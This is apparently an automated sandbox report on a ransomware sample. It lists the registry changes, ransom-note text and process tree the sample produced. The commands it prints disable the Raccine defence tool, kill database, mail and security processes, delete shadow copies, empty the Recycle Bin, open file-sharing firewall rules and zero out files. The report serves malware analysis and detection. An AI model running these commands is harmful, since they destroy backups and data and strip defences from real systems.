869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe taskkill.exe PID 1360 wrote to memory of 2040 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe taskkill.exe PID 1360 wrote to memory of 2040 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe taskkill.exe PID 1360 wrote to memory of 2040 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe taskkill.exe PID 1360 wrote to memory of 2040 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe taskkill.exe PID 1360 wrote to memory of 1896 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe taskkill.exe PID 1360 wrote to memory of 1896 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe taskkill.exe PID 1360 wrote to memory of 1896 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe taskkill.exe PID 1360 wrote to memory of 1896 1360 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe taskkill.exe -
System policy modification 1 TTPs 4 IoCs
Processes:
869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy = "1" 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticecaption = "YOUR COMPANY WAS HACKED AND COMPROMISED!!!" 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\legalnoticetext = "All your important files have been encrypted!\r\nYour files are safe! Only modified.(AES) \r\nNo software available on internet can help you.\r\nWe are the only ones able to decrypt your files.\r\n\r\nWe has DOWNLOADED of your PRIVATE SENSITIVE Data!!!\r\n\r\nFull information in the file RESTORE_FILES_INFO" 869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe"C:\Users\Admin\AppData\Local\Temp\869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe"1⤵
- Modifies extensions of user files
- Drops startup file
- Drops desktop.ini file(s)
- Enumerates connected drives
- Modifies WinLogon
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
- System policy modification
-
C:\Windows\SysWOW64\taskkill.exe"taskkill" /F /IM RaccineSettings.exe2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\reg.exe"reg" delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Raccine Tray" /F2⤵
-
C:\Windows\SysWOW64\reg.exe"reg" delete HKCU\Software\Raccine /F2⤵
- Modifies registry key
-
C:\Windows\SysWOW64\schtasks.exe"schtasks" /DELETE /TN "Raccine Rules Updater" /F2⤵
-
C:\Windows\SysWOW64\sc.exe"sc.exe" config Dnscache start= auto2⤵
-
C:\Windows\SysWOW64\sc.exe"sc.exe" config FDResPub start= auto2⤵
-
C:\Windows\SysWOW64\sc.exe"sc.exe" config SQLTELEMETRY start= disabled2⤵
-
C:\Windows\SysWOW64\sc.exe"sc.exe" config SSDPSRV start= auto2⤵
-
C:\Windows\SysWOW64\sc.exe"sc.exe" config SQLTELEMETRY$ECWDB2 start= disabled2⤵
-
C:\Windows\SysWOW64\sc.exe"sc.exe" config SstpSvc start= disabled2⤵
-
C:\Windows\SysWOW64\sc.exe"sc.exe" config upnphost start= auto2⤵
-
C:\Windows\SysWOW64\sc.exe"sc.exe" config SQLWriter start= disabled2⤵
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM mspub.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM synctime.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM mspub.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM mydesktopqos.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM Ntrtscan.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM mysqld.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM mydesktopservice.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM isqlplussvc.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM sqbcoreservice.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM firefoxconfig.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM onenote.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM encsvc.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM excel.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM agntsvc.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM dbeng50.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM CNTAoSMgr.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM PccNTMon.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM sqlwriter.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM thebat.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM msaccess.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM thebat64.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM outlook.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM tbirdconfig.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM ocomm.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM tmlisten.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM infopath.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" IM thunderbird.exe /F2⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM steam.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM dbsnmp.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM msftesql.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM mbamtray.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM wordpad.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM xfssvccon.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM zoolz.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM mysqld-opt.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM powerpnt.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM ocautoupds.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM mydesktopqos.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM ocssd.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM visio.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM oracle.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM mydesktopservice.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM sqlagent.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM winword.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM sqlbrowser.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM mysqld-nt.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\taskkill.exe"taskkill.exe" /IM sqlservr.exe /F2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" & Get-WmiObject Win32_Shadowcopy | ForEach-Object { $_Delete(); }2⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\netsh.exe"netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes2⤵
-
C:\Windows\SysWOW64\netsh.exe"netsh" advfirewall firewall set rule group=\"File and Printer Sharing\" new enable=Yes2⤵
-
C:\Windows\SysWOW64\arp.exe"arp" -a2⤵
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c rd /s /q %SYSTEMDRIVE%\\$Recycle.bin2⤵
-
C:\Windows\SysWOW64\netsh.exe"netsh" advfirewall firewall set rule group=\"Network Discovery\" new enable=Yes2⤵
-
C:\Windows\SysWOW64\netsh.exe"netsh" advfirewall firewall set rule group=\"File and Printer Sharing\" new enable=Yes2⤵
-
C:\Windows\SysWOW64\arp.exe"arp" -a2⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" C:\Users\Admin\Desktop\RESTORE_FILES_INFO.hta2⤵
- Modifies Internet Explorer settings
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 “%s” & Del /f /q “%s”2⤵
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.7 -n 33⤵
- Runs ping.exe
-
C:\Windows\SysWOW64\fsutil.exefsutil file setZeroData offset=0 length=524288 “%s”3⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" "/C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\869d05fe732ff419731def3140634df40e887d821430e46d17b1e3703c63b6cf.exe2⤵
- Deletes itself
-
C:\Windows\SysWOW64\choice.exechoice /C Y /N /D Y /T 33⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\Desktop\RESTORE_FILES_INFO.htaMD5
ddd288ec8cf26cfd3f1cc951700d595f
SHA1c2ab7d5cefe6f4f01e992dca6ef250df125b190f
SHA256dda0ceac6dd9ca506f1394135c4b46b696057bdfd29bf2e49c5b42213f20d144
SHA512eb6930d5ef73ee534208ec31b810fd8281b7dfeb37644cfeefeb0e40ab2891f2ec80ab1e2c8a5ba96e1f04f63cb625f9d7cfec6cfe35442122f0d3895847fc56
-
memory/320-95-0x0000000000000000-mapping.dmp
-
memory/384-58-0x0000000000000000-mapping.dmp
-
memory/432-113-0x0000000000000000-mapping.dmp
-
memory/568-105-0x0000000000000000-mapping.dmp
-
memory/568-92-0x0000000000000000-mapping.dmp
-
memory/668-88-0x0000000000000000-mapping.dmp
-
memory/736-104-0x0000000000000000-mapping.dmp
-
memory/736-74-0x0000000000000000-mapping.dmp
-
memory/792-107-0x0000000000000000-mapping.dmp
-
memory/840-77-0x0000000000000000-mapping.dmp
-
memory/864-96-0x0000000000000000-mapping.dmp
-
memory/900-93-0x0000000000000000-mapping.dmp
-
memory/920-110-0x0000000000000000-mapping.dmp
-
memory/980-124-0x0000000000000000-mapping.dmp
-
memory/1028-114-0x0000000000000000-mapping.dmp
-
memory/1028-87-0x0000000000000000-mapping.dmp
-
memory/1064-102-0x0000000000000000-mapping.dmp
-
memory/1064-63-0x0000000000000000-mapping.dmp
-
memory/1068-106-0x0000000000000000-mapping.dmp
-
memory/1092-61-0x0000000000000000-mapping.dmp
-
memory/1104-86-0x0000000000000000-mapping.dmp
-
memory/1108-108-0x0000000000000000-mapping.dmp
-
memory/1108-75-0x0000000000000000-mapping.dmp
-
memory/1160-89-0x0000000000000000-mapping.dmp
-
memory/1192-60-0x0000000000000000-mapping.dmp
-
memory/1192-121-0x0000000000000000-mapping.dmp
-
memory/1284-103-0x0000000000000000-mapping.dmp
-
memory/1284-90-0x0000000000000000-mapping.dmp
-
memory/1356-65-0x0000000000000000-mapping.dmp
-
memory/1360-57-0x0000000000F90000-0x0000000000F91000-memory.dmpFilesize
4KB
-
memory/1360-55-0x0000000001070000-0x0000000001071000-memory.dmpFilesize
4KB
-
memory/1364-83-0x0000000000000000-mapping.dmp
-
memory/1412-67-0x0000000000000000-mapping.dmp
-
memory/1460-62-0x0000000000000000-mapping.dmp
-
memory/1536-82-0x0000000000000000-mapping.dmp
-
memory/1540-99-0x0000000000000000-mapping.dmp
-
memory/1560-85-0x0000000000000000-mapping.dmp
-
memory/1564-84-0x0000000000000000-mapping.dmp
-
memory/1592-78-0x0000000000000000-mapping.dmp
-
memory/1608-80-0x0000000000000000-mapping.dmp
-
memory/1608-116-0x0000000000000000-mapping.dmp
-
memory/1612-98-0x0000000000000000-mapping.dmp
-
memory/1616-100-0x0000000000000000-mapping.dmp
-
memory/1624-76-0x0000000000000000-mapping.dmp
-
memory/1624-111-0x0000000000000000-mapping.dmp
-
memory/1632-71-0x0000000000000000-mapping.dmp
-
memory/1668-115-0x0000000000000000-mapping.dmp
-
memory/1676-127-0x0000000000000000-mapping.dmp
-
memory/1700-119-0x0000000002520000-0x000000000316A000-memory.dmpFilesize
12.3MB
-
memory/1700-120-0x0000000002520000-0x000000000316A000-memory.dmpFilesize
12.3MB
-
memory/1700-118-0x00000000764D1000-0x00000000764D3000-memory.dmpFilesize
8KB
-
memory/1700-117-0x0000000000000000-mapping.dmp
-
memory/1700-122-0x0000000002520000-0x000000000316A000-memory.dmpFilesize
12.3MB
-
memory/1700-79-0x0000000000000000-mapping.dmp
-
memory/1720-68-0x0000000000000000-mapping.dmp
-
memory/1740-81-0x0000000000000000-mapping.dmp
-
memory/1768-101-0x0000000000000000-mapping.dmp
-
memory/1772-109-0x0000000000000000-mapping.dmp
-
memory/1816-94-0x0000000000000000-mapping.dmp
-
memory/1828-66-0x0000000000000000-mapping.dmp
-
memory/1892-59-0x0000000000000000-mapping.dmp
-
memory/1896-73-0x0000000000000000-mapping.dmp
-
memory/1916-70-0x0000000000000000-mapping.dmp
-
memory/1940-112-0x0000000000000000-mapping.dmp
-
memory/1948-97-0x0000000000000000-mapping.dmp
-
memory/1952-126-0x0000000000000000-mapping.dmp
-
memory/2012-91-0x0000000000000000-mapping.dmp
-
memory/2016-69-0x0000000000000000-mapping.dmp
-
memory/2028-64-0x0000000000000000-mapping.dmp
-
memory/2040-72-0x0000000000000000-mapping.dmp